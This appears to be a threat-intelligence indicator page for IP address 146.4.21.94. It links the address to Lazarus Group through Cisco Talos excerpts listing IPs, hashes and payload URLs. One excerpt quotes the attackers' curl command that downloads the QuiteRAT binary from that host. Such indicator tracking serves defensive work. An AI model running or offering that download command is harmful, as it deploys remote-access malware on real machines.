`146.4.21.94`

146.4.21.94 is an IP address that 6 published sources report in connection with Lazarus Group activity, which public reporting attributes to North Korea (DPRK). It is cited here from Cisco Talos and Cisco Talos (GitHub IOC repository). The earliest of those reports is dated 2022-09-08 and the most recent 2026-10-18.

ip address Lazarus Group MATCHED IN SOURCE

First seen 2022-09-08 · last seen 2026-10-18

Network

Kind	fixed line
Network	Swisscom (Schweiz) AG - SME/Cybernet (Swisscom (Schweiz) AG)
Announced by	AS3303 Swisscom (Switzerland) Ltd
Country	Switzerland

Looked up 2026-09-21 at ip-api.com. A subscriber line, as a person working from home ordinarily has.

Sources

…Plink e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe Networks IOCs 146.4.21.94 109.248.150.13 108.61.186.55:443 http[://]146.4.21.94/tmp/tmp/comp.dat http[://]146.4.21.94/tmp/tmp/log.php http[://]146.4.21.94/tmp/t…
Lazarus Group's infrastructure reuse leads to discovery of new malware — Cisco Talos · under “Networks IOCs” · published 2023-08-24 · pulled 2026-09-12
…We observed Lazarus Group use the cURL command to immediately deploy the QuiteRAT binary from a malicious URL: curl http[://]146.4.21.94/tmp/tmp/comp.dat -o c:\users\public\notify.exe The IP address 146.4.21.94 has been used by Lazarus since at least May 2022. A successful…
Lazarus Group exploits ManageEngine vulnerability to deploy QuiteRAT — Cisco Talos · under “Lazarus Group compromises internet backbone infrastructure company in Europe” · published 2023-08-24 · pulled 2026-09-12
…E9D8DF469357E3F8 Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS http[://]104.155.…
Lazarus and the tale of three RATs — Cisco Talos · under “IPs” · published 2022-09-08 · pulled 2026-09-12
…05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe 146.4.21.94 109.248.150.13 108.61.186.55:443 http://146.4.21.94/tmp/tmp/comp.dat http://146.4.21.94/tmp/tmp/log.php…
Lazarus Group CollectionRAT — Cisco Talos (GitHub IOC repository) · published 2023-08-24 · pulled 2026-09-29
Nearby text:

ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 http://146.4.21.94/tmp/tmp/comp.dat http://146.4.21.94/tmp/tmp/log.php http://146.4.21.94/tmp/tmp/logs.php…
Lazarus Group QuiteRAT — Cisco Talos (GitHub IOC repository) · pulled 2026-09-29
…Adfind C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3 IPs 104.155.149.103 40.121.90.194 185.29.8.162 146.4.21.94 46.183.221.109 84.38.133.145 109.248.150.13 155.94.210.11 192.186.183.133 54.68.42.4 84.38.133.145 213.180.180.154 URLS…
Lazarus Group MagicRAT, VSingle and YamaBot — Cisco Talos (GitHub IOC repository) · published 2022-09-08 · pulled 2026-09-29

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Cited by the same report: Lazarus Group's infrastructure reuse leads to discovery of new malware

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Cited by the same report: Lazarus and the tale of three RATs

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